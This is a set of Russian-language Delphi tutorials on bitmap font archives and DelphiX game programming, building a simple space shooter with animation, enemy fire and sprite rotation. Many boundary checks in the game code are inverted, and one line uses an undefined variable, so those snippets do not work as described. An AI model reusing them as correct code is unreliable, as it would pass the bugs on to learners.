m.Free; //Очищаем память от изображения
end;
fs.Free; //Сохраняем архив
end;
В игре необходимо загрузить шрифты из папки fonts процедурой:
procedure loadfont(name:string); //Не забудте указать название шрифта (имя файла)
var
item:Tpicturecollectionitem; //Изображение в памяти
fs:Tfilestream; //Файловый поток для чтения архива
m:Tmemorystream; //Поток в памяти (туда будет копироваться изображение)
size:int64; //Размер изображения в архиве
h:thead; //Заголовок архива
i:integer; //Просто нужно для счета
begin
fs:=tfilestream.Create('fonts\'+changefileext(name,'.fnt'),fmOpenRead); //Открываем нужный файл
fs.Read(h,sizeof(h)); //Читаем заголовок
for i:=0 to h.count-1 do //От 0 до количества изображений-1 делаем:
begin
fs.Read(size,sizeof(size)); //Читаем размер файла
m:=tmemorystream.Create; //Создаем поток в памяти
m.Position:=0; //Нужно
m.SetSize(size); //Указываем размер участка памяти (чтобы память не засорять)
m.CopyFrom(fs,size); //Вставляем в память изображение из архива
m.Position:=0; //Нужно
myform.DXDIB.DIB.LoadFromStream(m); //Грузим изображение из памяты в TDIB
item:=Tpicturecollectionitem.Create(myform.il.Items); //Добавляем в коллекцию ещё одно изображение
item.Name:=h.name+inttostr(i); //Его имя + номер символа
item.Transparent:=true; //Прозрачен
item.TransparentColor:=h.tcl; //Цвет прозрачности
item.PatternWidth:=myform.dxdib.DIB.Width; //Ширина
item.PatternHeight:=myform.dxdib.DIB.Height; //Высота
item.SystemMemory:=false; //Нужно
item.Picture.Graphic:=myform.dxdib.DIB; //Указываем изображения
item.Restore; //Принимаем изменение
m.Free; //Очищаем память
end;
fs.Free; //Закрываем архив
end;
Далее идет процедура отрисовки текста (Текст, икс, игрик, название шрифта, по центру (1-0))
Procedure dNt(Text:string;x,y:integer;whatfont:String; center:integer); //Процедура отрисовки букв
var
h:Tpicturecollectionitem;
z:integer;
dlina:integer;
dlina2:integer;
begin
if center=1 then
begin
dlina2:=0;
for z:=1 to strlen(pchar(text)) do
begin
h:=myform.il.Items.Find(whatfont+inttostr(ord(text[z])));
dlina2:=dlina2+h.PatternWidth+1;
end;
dnt(Text,x-dlina2 div 2,y,whatfont,0);
end
else
begin
dlina:=x;
for z:=1 to strlen(pchar(text)) do
begin
h:=myform.il.Items.Find(whatfont+inttostr(ord(text[z])));
h.Draw(myform.dxdraw.Surface,dlina,y,0);
dlina:=dlina+h.PatternWidth+1;
end;
end;
end;
Пример fnt файла.
Исходник программы по созданию fnt архива.
Исходник программы распаковывающей fnt архив (работает с командной строки).
Вот в принципе и всё.
Создание шрифтов формата BMP для использования в играх! Также постейший фильтр изображений.
Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru
Итак я уже писал про отрисовку таких шрифтов в игре, но в том примере все было сильно неадаптировано под програмный код и занимало несколько страниц! Для создания своих шрифтов будем писать программу: "ФонтГен" На форме должны присутствовать:Button1: TButton; //Кнопка генерации Image1: TImage; //Тут будем рисовать Edit1: TEdit;//От суда будем брать название шрифта Edit3: TEdit;//От суда будем брать цвет шрифтаНа нажатие кнопки(OnClick) пишем:
var
x,y,z:integer;
c:char;
begin
Image1.Picture.LoadFromFile('shablon.bmp'); //Ну берем 24 разрядный фон из БИТМАПА
x:=2; //Устанавливаем место отрисовки первой буквы на 2 (первое место будет пробелом)
for c:='!' to 'я' do //Из таблицы символов от "!" до буквы "я" делаем:
with image1.Canvas do
begin
font.Name:=(edit1.Text); //Узнаем название шрифта
font.Size:=12; //Его размер ставим на 12
font.Style:=[fsBold]; //Делаем шрифт ЖИРНЫМ
font.Color:=stringtocolor(edit3.Text); //Ставим цвет шрифта
textout(x*20-trunc(textwidth(c)*1.5),10-(textheight(c) div 2),c); //Рисуем данный(по номеру) символ из таблицы символов (см. выше) на этом месте
x:=x+1; //Следующее место отрисовки
end; //Отрисовали все символы!!!
//Далее идет фильтр обводящий каждую букву черным цветом
for y:=0 to x*20 do //20 - ширина кадра(в одном кадре - одна буква)
for z:=0 to 20 do
if image1.Canvas.Pixels[y,z]=stringtocolor(edit3.Text) then //Если цвет пикселя=Цвету шрифта то
begin
if image1.Canvas.Pixels[y-1,z]=clWhite then //Если надо то обводим
image1.Canvas.Pixels[y-1,z]:=clBlack;
if image1.Canvas.Pixels[y-1,z-1]=clWhite then
image1.Canvas.Pixels[y-1,z-1]:=clBlack;
if image1.Canvas.Pixels[y+1,z-1]=clWhite then
image1.Canvas.Pixels[y+1,z-1]:=clBlack;
if image1.Canvas.Pixels[y,z+1]=clWhite then
image1.Canvas.Pixels[y,z+1]:=clBlack;
if image1.Canvas.Pixels[y,z-1]=clWhite then
image1.Canvas.Pixels[y,z-1]:=clBlack;
if image1.Canvas.Pixels[y+1,z+1]=clWhite then
image1.Canvas.Pixels[y+1,z+1]:=clBlack;
if image1.Canvas.Pixels[y+1,z]=clWhite then
image1.Canvas.Pixels[y+1,z]:=clBlack;
if image1.Canvas.Pixels[y-1,z+1]=clWhite then
image1.Canvas.Pixels[y-1,z+1]:=clBlack;
end;
image1.picture.SaveToFile(edit1.text+'.bmp'); //Сохраняем полученый БИТМАП в "Название Шрифта".bmp
end;
Прога действительно делает шрифты, но минус - если менять размер шрифта, то параметры отрисовки каждой буквы придется менять! Иначе возможны глюки!
Теперь идет процедура отрисовки:
procedure Tmainform.DCN(Text:string;x,y:integer;center:integer);
var
h:Tpicturecollectionitem;
z:integer;
begin
h:=imagelist.Items.Find('cnb');
if center=1 then
for z:=1 to strlen(pchar(text)) do
h.Draw(dxdraw.Surface,x+trunc(h.Width*0.65)*(z-1)-trunc(h.Width*0.65)*trunc(strlen(pchar(text))*0.5),
y,ord(text[z])-32)
else
for z:=1 to strlen(pchar(text)) do
h.Draw(dxdraw.Surface,x+trunc(h.Width*0.65)*(z-1),y,ord(text[z])-32);
end;
Как использовать эту процедуру:
DCN({Координаты по икс},{Координаты по игрик},'ТЕКСТ', {Центрировать или нет (1 или 0)}
Вот в принципе и всё.
Изучаем DelphiX - Часть 0 - Теория.
Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru
"Теория, теория ну а практика, а практика потом" Так подумал автор, начиная писать эту статью.
Здравствуйте дорогие мои! Сегодня мы будем учиться работать в DelphiX. В этой части вы узнаете: 1. Обзор DelphiX (Что? К чему?). 2. Принцип написания кода и основные процедуры для классов. Ну что же, приступим: 1. Обзор DelphiX. DelphiX - это набор компонентов, способный облегчить использование DirectX в Delphi приложениях и использовать всю мощь DirectX. Основные компоненты DelphiX: TDXDraw -( Это такой мониторчик) Дает доступ к поверхностям DirectDraw (проще говоря, эта вещь которая отображает всё) Проще говоря, сам DirectDraw. TDXDib - Позволяет хранить DIB (Device Independent Bitmap) TDXImageList - Позволяет хранить серии DIB, Jpg, bmp-файлов, что очень удобно для программ, содержащих спрайты. Позволяет загружать DIB`ы с диска во время выполнения программы. TDXSound - Проигрыватель звуков в формате Wav. TDXWave - "Контейнер" для wav-файла. TDXWaveList - Позволяет хранить серии для wav-файлов. TDXInput - Позволяет использовать DirectInput, т.е. получить доступ к устройствам ввода информации (мышь, клавиатура, джойстик:). TDXPlay - Компонент позволяющий обмениваться информацией на компьютерах. TDXSpriteEngine - Спрайтовый движок. TDXTimer - Более точный, чем TTimer. TDXPaintBox - Альтернатива TImage, только DIB-версия. В DelphiX есть самостоятельные компоненты, а есть вспомогательные, вот, например, DXSpriteEngine не может без DXDraw (где он будет отображать всё действия происходящие на сцене). Вот таблица зависимых и вспомогательных:
2. Принцип написания кода и основные процедуры для классов.
Весь принцип очень прост и удобен, сейчас объясню: весь код строится по классам, в каждом классе свои процедуры, каждый новый тип юнита это новый класс и в каждом классе свои процедуры. Рассмотрим на живом примере: возьмём камень и бумагу. Бумага мнётся, камень нет. Так и здесь, в одном классе это свойство есть, в другом нет, рассмотрим кусок кода отвечающий за класс:
TPlayerFa = class(TImageSprite)
protected
procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
procedure DoMove(MoveCount: Integer); override;
public
constructor Create(AParent: TSprite); override;
destructor Destroy; override;
end;
Здесь нам виден класс TplayerFa, его процедуры: procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;- Это процедура столкновения, что будет происходить при столкновении
procedure DoMove(MoveCount: Integer); override;- Это процедура движения, в ней указывается, как класс будет двигаться. ( в следующих частях я опишу и расскажу про все функции и их использование на практике)
constructor Create(AParent: TSprite); override;- Это конструктор Create очень полезная вещь он отвечает за происходящим во время создания объекта.
destructor Destroy; override;-Альтернатива, только при уничтожении объекта. После написания класса каждая процедура расписывается, и всё, можно писать сам код. (Но это мы будем делать позже.) Автор: Влад Энгельгардт
Изучаем DelphiX - Часть 1 - Первая игра.
Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru
"Как много игр то хороших, Да только сегодня не до них" Автор.
Здравствуйте! Сегодня мы создадим первую, и надеюсь не последнюю игрушку, смысл у нас будет такой: Мы - маленький космический корабль, нам надо уничтожить большой статичный космический корабль (прим. автора: "Этот пример научит мыслить по DelphiX`ски"). Ну что, приступим, запускаем Delphi (Для тех, кто в танке, у кого 6-ая, ищите на этом же сайте статью "DelphiX для Delphi6"). Вы, надеюсь, предварительно установили DelphiX, тогда ищем в панели с компонентами раздел DelphiX:
Кидаем на форму следующие компоненты:
DXDraw - и проставляем в нем следующие опции в Object Inspector:
Align = alClient - это нужно для того чтобы DXDraw "обтянул" всю форму.
Display = 800x600x16 - почему, спросите вы, не 800x600x24? Да потому что не все видеокарты поддерживают 24 битный режим.
Options-doFullScreen = True, если хочешь чтобы твоя игра была на весь экран, и ещё надо в свойствах формы поставить: BorderStyle = bsnone.
TDXSpriteEngine - Сам движок для работы со спрайтами. В нём нужно только выбрать в поле DXDraw сам DXDraw1.
TDXTimer - Он вообще-то и нужен, чтобы обновлять кадры, но он нам пригодится и для другого. Свойства следующие:
Active Only = False - По-русски: "Быть активным всегда". Смысл: Работает даже если вы, работаете с другим приложением.
Interval = 0 - Частота повторения цикла, должна быть равна 0.
TDXImageList - В этом листе будут у нас хранится все спрайты. Свойства:
DXDraw = DXDraw1
После кликаем на Items: (TPictureCollection), появляется окно Editing DxImagelist1.Items. В нём кликаем по Add New и в Object Inspector в поле "Name" пишем название спрайта, назовем его "pla" - это будет сам игрок, загружаем его с помощью Picture... Игрок у меня будет вот такой:
Только фон чёрный - для прозрачности. Устанавливаю в Object Inspector у данной картинки свойства Transparent = true и TransparentColor = clBlack.
Создаём ещё один спрайт под именем Pula проделываем тоже самое с ним, только TransparentColor = clWhite. Выглядит пуля вот так:
И последнее что нам осталось, добавить этого босса, называем его "BOSS", вот он:
TransparentColor = clWhite. На этом с DXImageList мы пока закончили.
TDXInput - Ну, а этот компонент будет отвечать за нажатые клавиши на клавиатуре. В нем никакие изменения делать не будем, только рассмотрим его (на будущее). Кликнем 2 раза по компоненту, и появится TDXInput Editor, выглядит он вот так:
Первая закладка устанавливает свойства джойстика, вторая клавиатуры. Вот закладка со свойствами клавиатуры нам и нужна. Вот так она выглядит:
Слева - условное название клавиш, а справа - их значение. Каждому условному названию может быть присвоено 3 клавиши. Всего условных названий 36 штук.
Ну что, теперь приступаем к написанию кода.
Вначале нужно изменить класс формы на TDXForm вот пример:
До:
//...
type
TForm1 = class(TForm)
DXDraw1: TDXDraw;
DXImageList1: TDXImageList;
DXInput1: TDXInput;
//...
После:
//...
type
TForm1 = class(TDXForm)
DXDraw1: TDXDraw;
DXImageList1: TDXImageList;
DXInput1: TDXInput
//...
Дальше расписываем классы после implementation.
Вот так:
{$R *.DFM} type TPlayerSprite = class(TImageSprite) //Класс игрока protected procedure DoMove(MoveCount: Integer); override; // Движение end; TBoSS = class(TImageSprite) // Класс босса Protected // Столкновение procedure DoCollision(Sprite: TSprite; var Done: Boolean); override; procedure DoMove(MoveCount: Integer); override; public constructor Create(AParent: TSprite); override; //при создании destructor Destroy; override; // при смерти end; TPlayerFa = class(TImageSprite) protected procedure DoCollision(Sprite: TSprite; var Done: Boolean); override; procedure DoMove(MoveCount: Integer); override; public constructor Create(AParent: TSprite); override; destructor Destroy; override; end;
Далее расписываем каждую процедуру для каждого класса. Вот образец:
Procedure TPlayerFa.DoMove(MoveCount: Integer); Begin inherited DoMove(MoveCount); end; constructor TPlayerFa.Create(AParent: TSprite); begin end; destructor TPlayerFa.Destroy; begin inherited Destroy; // Обязательно end; procedure TPlayerFa.DoCollision(Sprite: TSprite; var Done: Boolean); begin end;
Это нужно проделать с каждым классом, который содержит свои процедуры, указанные в классе. Далее выбираем компонент DXTimer который уже на форме и в Object Inspector в закладке Events, находим пункт OnTimer. Два раза кликаем по пункту, создаётся процедура DXTimer1Timer, в ней пишем следующие строчки:
if not DXDraw1.CanDraw then exit; // Если нет DirectX выходим DXInput1.Update; DXSpriteEngine1.Move(LagCount); DXSpriteEngine1.Dead; DXDraw1.Surface.Fill(0); DXSpriteEngine1.Draw; DXDraw1.Flip;
Далее: Кликая на форму в свободное место и Object Inspector в закладке Events, находим OnCreate. Создаём процедуру и пишем в ней:
with TBOSS.Create(Dxspriteengine1.Engine) do begin PixelCheck := True; // для столкновения просчитывает каждую точку Image := form1.dxImageList1.Items.Find('BOSS'); //ищем спрайт в ImageList`е x:=350; // x координаты y:=10; // y координаты Width := Image.Width; //ширина равна ширине спрайта Height := Image.Height; //высота равна высоте спрайта end; with TPlayerSprite.Create(Dxspriteengine1.Engine) do begin PixelCheck := True; Image := form1.dxImageList1.Items.Find('Pla'); x:=350; y:=500; Width := Image.Width; Height := Image.Height; end;
Сейчас объясню, зачем это всё. При создании формы мы создаём все статичные объекты сразу. Ну, что? Теперь можно перейти к процедурам и их заполнению :) Начнём с процедур босса. Они самые простые. Пред implementation в var добавить переменную
i:boolean; //переменная движения в сторону BOSSA
и в свойствах формы OnCreate добавить:
I:=true;
Только после этого пишем следующее:
Procedure TBoSS.DoMove(MoveCount: Integer); begin inherited DoMove(MoveCount); if x<= 700 then I:= true; // когда X<= то туда <<< if x>= 0 then I:= false; // когда X>= то туда >>> if i= true then X := X+10; if i= false then X := X-10; Collision; end; constructor TBOSS.Create(AParent: TSprite); //Здесь всё понятно begin inherited Create(AParent); Image := form1.DXImageList1.Items.Find('BOSS'); Width := Image.Width; Height := Image.Height; end; destructor TBOSS.Destroy; //тут тоже begin inherited Destroy; end; procedure TBoss.DoCollision(Sprite: TSprite; var Done: Boolean); begin // если спрайт сталкивается с Tplayerfa, то умирает if Sprite is Tplayerfa then dead; Collision; // Включаем столкновение end;
Ну, вроде, с одним объектом разобрались, переходим к игроку, тут одна процедура
Procedure TPlayerSprite.DoMove(MoveCount: Integer); begin inherited DoMove(MoveCount); // при нажатии двигаем объект влево if isLeft in Form1.DXInput1.States then x:=x-5; // при нажатии двигаем объект вправо if isRight in Form1.DXInput1.States then x:=x+5; // при нажатие вверх создаётся наша пулька if isup in Form1.DXInput1.States then begin with TPlayerFa.Create(Engine) do begin PixelCheck := True; Image := form1.dxImageList1.Items.Find('Pula'); //Чтобы пуля создавалась около нашего объекта X := Self.X+Self.Width -40; //Чтобы пуля создавалась около нашего объекта Y := Self.Y+Self.Height -80; Width := Image.Width; Height := Image.Height; end; end; if y <= form1.DXDraw1.SurfaceHeight-image.Height then //не пускаем y := form1.DXDraw1.SurfaceHeight-image.Height; //объект if x <= form1.DXDraw1.SurfaceWidth -image.Width then //за границы x := form1.DXDraw1.SurfaceWidth -image.Width; //формы if y >= 0 then y := 1; if x >= 0 then x:=1; end;
И, наконец, последнее, это сама пуля и её процедуры:
Procedure TPlayerFa.DoMove(MoveCount: Integer); begin inherited DoMove(MoveCount); y:=y-3; //проще некуда, неправда ли? end; procedure TPlayerFa.DoCollision(Sprite: TSprite; var Done: Boolean); begin if Sprite is TBoss then dead; Collision; end;
И на последок, для удобства в Object Inspector в закладке Events находим OnKeyDown, кликаем и пишем:
if Key=VK_ESCAPE then application.Terminate;
При вставке этого кода по нажатию клавиши ESC выходим из приложения.
Вот и всё! Это одно из самых примитивных игр на DelphiX, но ты её сам сделал.
Вот вам Д/З для улучшения знаний:
1. Сделайте так, чтобы при уходе патрона из зоны видимости он уничтожался
2. Сделайте, чтобы патроны стреляли очередями, а не кучами как у меня
Ну и всё, если вы сможете реализовать данные вещи, считайте что вы усвоили урок. Ну а если вы не справитесь с данными задачами, я объясню их решение в следующей части.
Исходный код примера к этому уроку: part1.rar (20,5 кБ) (Проект сделан в Delphi 6)
Автор: Влад Энгельгардт
Изучаем DelphiX - Часть 2 - Усложняем нашу игру.
Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru
Хех! загружу:".
Прежде чем начать, объясню решение Д/З: 1. Сделайте так, чтобы при уходе патрона из зоны видимости он уничтожался: Это очень легко сделать достаточно в процедуру DoMove патрона вставить:if y<= 0 then Dead; if y>= 600 then Dead;Нужно это для того, чтобы повысилось качество игры. 2. Сделайте, чтобы патроны стреляли очередями, а не кучами как у меня: Вот эта задача была посложнее первой. Во-первых, как я сделал в первой части этого туториала, делать нельзя из-за причины небольшой "кривости" DelphiX, он может держать только определённое количество спрайтов, а если их больше он или выходит или подвисает. Так что, делаем вот так:
В класс с плеером добавляем две переменные, он теперь выглядит так (я добавил комментарии к тем строчкам которые изменились):
TPlayerSprite = class(TImageSprite)
Private
lngpolet:integer; //расстояние которое пролетела пуля
oldlngpolet:integer; //расстояние которое пролетела предыдущая пуля
protected
procedure DoMove(MoveCount: Integer); override;
end;
Процедура DoMove класса PlayerSprite изменяется следующим образом:
Procedure TPlayerSprite.DoMove(MoveCount: Integer);
Begin
inherited DoMove(MoveCount);
if isLeft in Form1.DXInput1.States then x:=x-5;
if isRight in Form1.DXInput1.States then X:=x+5;
if isup in Form1.DXInput1.States then
begin
if lngpolet-oldlngpolet<=250 then // Если расстояние между пулями меньше 250,
// то пуля не создаётся
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('Pula');
X := Self.X+Self.Width -40;
Y := Self.Y+Self.Height -80;
Width := Image.Width;
Height := Image.Height;
end;
oldlngpolet := lngpolet; //после создания пули - последняя становится первой
end;
end;
if y <= form1.DXDraw1.SurfaceHeight-image.Height then
y := form1.DXDraw1.SurfaceHeight-image.Height;
if x <= form1.DXDraw1.SurfaceWidth -image.Width then
x := form1.DXDraw1.SurfaceWidth -image.Width;
if y >= 0 then
y := 1;
if x >= 0 then
x:=1;
lngpolet := lngpolet + MoveCount; // расстояние увеличиваем, когда пуля движется
end;
Вот и всё, что требовалось сделать.
В этой части вы узнаете:
1. Создание анимации.
2. Создание примитивного AI.
3. Создадим простенькие взрывы.
Создание анимации.
Анимация в DelphiX строится следующим образом:
Это пример покадровой анимации. У каждого кадра должен быть одинаковый размер.
В данной ситуации:
Ширина: 40
Высота: 38
Давайте теперь, применим ее к нашей игре.
Идём в DXImageList, находим наш спрайт Pula и загружаем картинку с анимацией. Далее устанавливаем свойства спрайта следующим образом:
И в процедуре DoMove класса PlayerSprite изменяем код следующим образом:
Procedure TPlayerSprite.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
if isLeft in Form1.DXInput1.States then x:=x-5;
if isRight in Form1.DXInput1.States then X:=x+5;
if isup in Form1.DXInput1.States then
begin
if lngpolet-oldlngpolet<=250 then
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('Pula');
X := Self.X+Self.Width -40;
Y := Self.Y+Self.Height -80;
Width := Image.Width;
Height := Image.Height;
AnimCount := Image.PatternCount; //число кадров
AnimLooped := True; //повторять ли анимацию
AnimSpeed := 10 / 1000; //скорость анимации
end;
oldlngpolet := lngpolet;
end;
end;
if y <= form1.DXDraw1.SurfaceHeight-image.Height then
y := form1.DXDraw1.SurfaceHeight-image.Height;
if x <= form1.DXDraw1.SurfaceWidth -image.Width then
x := form1.DXDraw1.SurfaceWidth -image.Width;
if y >= 0 then
y := 1;
if x >= 0 then
x:=1;
lngpolet := lngpolet + MoveCount;
end;
Можно проделать тоже самое с другими классами для придания реалистичности игры.
Создание примитивного AI.
Для начала маленько улучшим наш класс плеера, добавим в него столкновение, и он теперь выглядит следующим образом:
TPlayerSprite = class(TImageSprite)
private
lngpolet:integer;
oldlngpolet:integer;
protected
procedure DoMove(MoveCount: Integer); override;
//добавляем
procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
end;
Далее создаём процедуру DoCollision и вставляем в неё следующее: procedure TPlayerSprite.DoCollision(Sprite: TSprite; var Done: Boolean); begin if Sprite is TPlayerFa then Dead; Collision; end;Дальше пред implementation добавляем 1 переменную:
plx:double; //X плеераДалее обновим класс TPlayerFa и он станет таким:
TPlayerFa = class(TImageSprite)
private
stril:Integer; // Как вы заметили, добавилась переменная
protected
procedure DoCollision(Sprite: TSprite; var Done: Boolean); override;
procedure DoMove(MoveCount: Integer); override;
public
constructor Create(AParent: TSprite); override;
destructor Destroy; override;
end;
А в TPlayerFa добавляем строчку: Procedure TPlayerFa.DoMove(MoveCount: Integer); begin y:=y-stril; // когда стреляет игрок, с этой скоростью будет двигаться пуля y:=y+stri; // когда стреляет AI, с этой скоростью будет двигаться пуля if y>= 0 then Dead; if y<= 600 then Dead; end;А процедура TBoSS.DoMove становиться такой:
Procedure TBoSS.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
if x<= 600 then I:= false;
if x>= 0 then I:= true;
if i= true then X := X+5;
if i= false then X := X-5;
if plx=x then //если равна х плеера стреляем
begin
with TPlayerFa.Create(Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('Pula');
X := Self.X+Self.Width-70;
Y := Self.Y+Self.Height+10;
Width := Image.Width;
Height := Image.Height;
stril:=5; //скорость патрона
end;
end;
Collision;
end;
И естественно полнеет и TPlayerSprite:
Procedure TPlayerSprite.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
plx:=x; //чтобы наш комп видел нашего плеера
if isLeft in Form1.DXInput1.States then
begin
x:=x-5;
plx:=x;
end;
if isRight in Form1.DXInput1.States then
begin
X:=x+5;
plx:=x;
end;
if isup in Form1.DXInput1.States then
begin
if lngpolet-oldlngpolet<=250 then
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('Pula');
X := Self.X+Self.Width -40;
Y := Self.Y+Self.Height -80 ;
Width := Image.Width;
Height := Image.Height;
stril:=-4;
end;
oldlngpolet := lngpolet;
end;
end;
if y <= form1.DXDraw1.SurfaceHeight-image.Height then
y := form1.DXDraw1.SurfaceHeight-image.Height;
if x <= form1.DXDraw1.SurfaceWidth -image.Width then
x := form1.DXDraw1.SurfaceWidth -image.Width;
if y >= 0 then
y := 1;
if x >= 0 then
x:=1;
lngpolet := lngpolet + MoveCount;
Collision;
end;
И поменялся конструктор PlayerFa:
constructor TPlayerFa.Create(AParent: TSprite);
begin
inherited Create(AParent);
Image := form1.DXImageList1.Items.Find('Pula');
Width := Image.Width;
Height := Image.Height;
AnimCount := Image.PatternCount; //число кадров
AnimLooped := True; //повторять ли анимацию
AnimSpeed:= 10 / 1000;
Collision;
end;
Создадим простенькие взрывы.
Для начала загрузим спрайт взрыва в DXImageList вот он:
Назовём его "ex" и установим размер кадра на 32ХЧ8 (PatternHeight - PatternWidth)
Дальше, в класс TPlayerSprite в private добавляем procedure Hit; и создаём обработчик:
procedure TplayerSprite.Hit;
begin
Collisioned := False;
Image := Form1.dxImageList1.Items.Find('Ex');
Width := Image.Width;
Height := Image.Height;
AnimCount := Image.PatternCount;
AnimLooped := False;
AnimSpeed := 15/1000;
AnimPos := 0;
end;
и в процедуре TPlayerSprite.DoCollision вставляем следущий код:
procedure TPlayerSprite.DoCollision(Sprite: TSprite; var Done: Boolean);
begin
if sprite is Tplayerfa then
begin
TPlayerSprite(Sprite).Hit;
dead;
end;
Done := False;
end;
Этот код надо разместить и в Tboss. DoCollision. И под конец маленький бонус: Можно создать бэкграунд, без создания нового класса достаточно в FormCreate написать:
with TBackgroundSprite.Create(DXSpriteEngine1.Engine) do
begin
SetMapSize(1,1);
Image := dxImageList1.Items.Find('bgr');
Z:= -2;
Tile := True;
end;
Где bgr спрайт-бэкграунд.
Вот мой БГ:
Нравиться? Здесь можно скачать исподники всей этой части.
part2.rar (77,5 kB)
Автор: Влад Энгельгардт
Изучаем DelphiX - Часть 3 - Крутим спрайты.
Оформил: XVeL Автор: Влад Энгельгардт WEB-сайт: http://gamedev.ru
"Крутимся не накрутимся:)".
В DelphiX существует маленькая проблема, это разворот спрайтов. Она решается относительно просто, сейчас я объясню, как и что. Для начала создадим новый проект в Delphi, подстроим его под шаблон (об этом написано в одной из частей цикла). Далее скачиваем мною модернизированный DXSprite.pas (Dxsprite.rar), в папке, где у вас установлен DelphiX есть папочка Source, копируем его туда. В DXSprite.pas я добавил всего одну процедуру Angle это и есть процедура разворота, как она работает можете посмотреть, сами поковырявшись в исходниках. Ну что приступим, для начала создадим простенький пример (в архиве с исходниками в папке 3.1).Создаём новый класс:
TPlayerone = class(TImageSprite)
protected
procedure DoMove(MoveCount: Integer); override;
end;
Соответственно и процедуру DoMove к этому классу:
Procedure TPlayerone.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
x:=x+cos256(Angle)*speed; //обработчик движения по X
y:=y+sin256(Angle)*speed; //обработчик движения по Y
if y <= form1.DXDraw1.SurfaceHeight-image.Height then
y := form1.DXDraw1.SurfaceHeight-image.Height;
if x <= form1.DXDraw1.SurfaceWidth -image.Width then
x := form1.DXDraw1.SurfaceWidth -image.Width;
if y >= 0 then
y := 1;
if x >= 0 then
x:=1;
begin
speed:=0; //когда ничего не делаем, скорость равна 0
if isLeft in Form1.DXInput1.States then angle:=angle-5;
if isRight in Form1.DXInput1.States then angle:=angle+5;
if isup in Form1.DXInput1.States then speed:=4;
if isDown in Form1.DXInput1.States then speed:=-4;
end;
end;
И перед implementation в Var добавляем: var Form1: TForm1; speed: integer; // Это у нас переменная скорости объектаНе забудь в DXtimer добавить:
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer); begin if not DXDraw1.CanDraw then exit; DXInput1.Update; DXSpriteEngine1.Move(LagCount); DXSpriteEngine1.Dead; DXDraw1.Surface.Fill(0); DXSpriteEngine1.Draw; DXDraw1.Flip; end;И в процедуре FormCreate создаём наш спрайт:
procedure TForm1.FormCreate(Sender: TObject);
begin
with TPlayerone.Create(Dxspriteengine1.Engine) do
begin
PixelCheck := True;
Image := form1.dxImageList1.Items.Find('krut');
x:=350;
y:=250;
Width := Image.Width;
Height := Image.Height;
end;
end;
Далее в DXImageList добавляем спрайт "krut" он у меня выглядит вот так:
И всё, простейший пример с Angle готов.
Теперь давайте усложним наш пример и сделаем так что бы игрок стрелял в ту сторону куда он смотрит, для этого создаём новый класс для патрона. Выглядит он так:
TPlayerFa = class(TImageSprite)
protected
procedure DoMove(MoveCount: Integer); override;
private
anglefa:integer; // Угол под которым летит пуля
public
constructor Create(AParent: TSprite); override;
destructor Destroy; override;
end;
Перед implementation добавляется ещё одна переменная ang: var Form1: TForm1; speed,ang: integer;Она нужна для выноса значения Angle плеера. А зачем нужен вынос, спросишь ты, да всё очень просто, он нужен для патрона, чтобы указывать ему, под каким углом лететь т.е. под каким углом находиться плеер под таким углом и летит патрон. Маленько модернизируем класс плеера:
TPlayerone = class(TImageSprite)
private
lngpolet:integer; // мы же не хотим, чтобы наши пули летали кучами
oldlngpolet:integer; // а мы сделаем чтобы летали стаями :)
protected
procedure DoMove(MoveCount: Integer); override;
end;
Сразу, чтобы не забыть конструктор и деструктор для патрона:
constructor TPlayerFa.Create(AParent: TSprite);
begin
inherited Create(AParent);
Image := form1.DXImageList1.Items.Find('pul');
Width := Image.Width;
Height := Image.Height;
end;
destructor TPlayerFa.Destroy;
begin
inherited Destroy;
end;
Ну а теперь движение патрона: procedure TPlayerFa.DoMove(MoveCount: Integer); begin inherited DoMove(MoveCount); angle := anglefa; x:=x+cos256(angle)*7; // цифра 7 здесь скорость патрона и изменять её надо y:=y+sin256(angle)*7; // пропорционально if X<= 800 then Dead; if y<= 600 then Dead; if X>= 0 then Dead; if y>= 0 then Dead; Collision; end;Надеюсь, ты помнишь, на прошлых уроках я рассказывал тебе об DXInput, так вот теперь нам понадобятся дополнительные кнопочки. Их значения ты можешь поменять, два раза кликнув на самом компоненте. Так вот, гляди процедуру DoMove у игрока:
Procedure TPlayerone.DoMove(MoveCount: Integer);
begin
inherited DoMove(MoveCount);
ang:=angle; // наша переменная для патрона
x:=x+cos256(Angle)*speed;
y:=y+sin256(Angle)*speed;
if y <= form1.DXDraw1.SurfaceHeight-image.Height then
y := form1.DXDraw1.SurfaceHeight-image.Height;
if x <= form1.DXDraw1.SurfaceWidth -image.Width then
x := form1.DXDraw1.SurfaceWidth -image.Width;
if y >= 0 then
y := 1;
if x >= 0 then
x:=1;
begin
speed:=0;
if isLeft in Form1.DXInput1.States then angle:=angle-5;
if isRight in Form1.DXInput1.States then angle:=angle+5;
if isup in Form1.DXInput1.States then speed:=4;
if isDown in Form1.DXInput1.States then speed:=-4;
if isbutton1 in Form1.DXInput1.States then
begin
if lngpolet-oldlngpolet<=250 then
begin
Inc(lngpolet);
with TPlayerFa.Create(Engine) do
begin
Image := form1.DXImageList1.Items.Find('pul');
X:=self.X+cos256(ang)*50; // здесь 50 расстояние патрона от плеера
Y:=self.y+sin256(ang)*50; //они должны быть пропорциональны
anglefa:=ang; // передаём угол
oldlngpolet := lngpolet;
end;
end;
end;
lngpolet := lngpolet + MoveCount;
end;
end;
И последнее что осталось это создать спрайт "pul" в DXimageList. Он выглядит у меня вот так:
Что, устал? Ну, расслабься, если хочешь. Дальше мы сделаем следующее:
